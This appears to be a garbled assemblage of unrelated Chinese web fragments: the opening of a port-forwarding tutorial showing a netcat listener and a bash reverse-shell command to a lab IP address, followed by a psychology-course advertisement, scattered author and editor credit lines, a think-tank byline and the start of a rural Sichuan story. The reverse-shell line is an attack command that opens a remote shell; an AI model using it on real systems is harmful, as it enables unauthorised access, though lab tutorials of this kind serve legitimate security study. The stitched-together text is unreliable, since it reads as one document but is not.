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0前言

端口轉發也稱隧道，轉發、映射、代理間的區別如下：

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反彈Shell-Linux

【監聽端】centos: 192.168.35.152【被控端】kali: 192.168.35.128 # 監聽端執行[root@localhost ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

bash

┌──(root@kali)-[/home/kali]└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 # 執行失敗 zsh: 沒有那個文件或目錄: /dev/tcp/192.168.35.152/7777

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前段時間，同事去參加了久違的高中同學會，回來後肉眼可見的情緒低落。
忍不住找我傾訴，為什麼起點差不多的同學，工作不到5年就有着天壤之別呢？
尤其是以前成績人緣都還不如她的姐妹，現在已經是上市公司的銷售總監。而自己，還只是一枚普通的底層打工人。
到底是自己不夠努力？還是運氣不好？
看到同事的狀態，不由得讓我想到前段時間的自己，同樣覺得職場不順、人生不幸。
很慶幸，在我最困惑難受的時候，KY從心理學的角度給了我很多治癒，讓我了解到那些不幸的真正內因，拉開人與人之間差距的，並非是自己不夠努力、運氣不夠好這些因素。
而是對工作的態度、自我的認知、以及情緒管理這些底層能力。
就好比同事，領導願意把重任交給她，是因為她本身優秀，有能力把這件事做好。但同事卻預先自我否定；而面對不合理的工作分配，卻又擔心人際關係，默默接下。
誠然，大多數人會認為職場生存是被動的、更強調自我保護。可當我們開始防禦，變得謹小慎微、不敢表達真實的自己，職場氛圍反而會變得更加封閉、緊張，能力也會被禁錮，得不到長足的自我成長和發展。
而當我們打開自己，勇於去承擔責任，我們的工作角色才會從被動轉為主動，從而實現心理賦權(empowerment)，產生積極的業務成效(Kim & Lee, 2016)。尤其是在現在缺乏鼓勵的職場氛圍，更應該學着去自我肯定和自我確認。
如果你也曾下定決定改變自己，但屢屢失敗
如果你也深陷人生職場的難題，甚至不到問題在哪
如果你也想通過底層邏輯找到內心癥結......
真心建議大家嘗試下由KY專業教研團隊精心研發的《人生必修 | 自我探索與人格成長的100堂課》，基於專業心理學理論及相關哲學理論研發，覆蓋人生最重要的6大議題，科學提升43個底層心理能力，輕鬆掌握100個心理學知識。
用通俗易懂的語言，生活中的真實案例，人人可實操的方法，幫你成為解決人生問題的專業高手。

專業優勢

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大家好，歡迎來到城市修行空間。


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作者 / KY測評
測試 / KY測評
編輯 / KY主創們

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IPP評論是鄭永年教授領導的國家高端智庫華南理工大學公共政策研究院（IPP）官方微信平台。

★本文作者：
梅里·馬達沙希（Mehri Madarshahi），UNESCO 國際創意與可持續發展中心諮詢委員、華南理工大學公共政策研究院兼職教授、中國與全球化研究中心（CCG）非常駐高級研究員。

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作 者丨翁榕濤

編 輯丨朱益民

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作 者丨邊萬莉

編 輯丨包芳鳴

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田野在晨曦與微風中沙沙作響，雄赳赳的公雞比太陽先醒來，用高亢的鳴叫喚醒了整個村莊。

位於四川資陽佛星鎮的馬桑坡村，小鳳和小雪這對年幼的姐妹花在嬉鬧中醒來，迎着晨光坐在院子裡，像往常一樣，等奶奶給自己梳頭髮。4公里外的山尖山村，楊楊已經餵好了雞，給自己和爺爺做好了一頓簡單的早餐。

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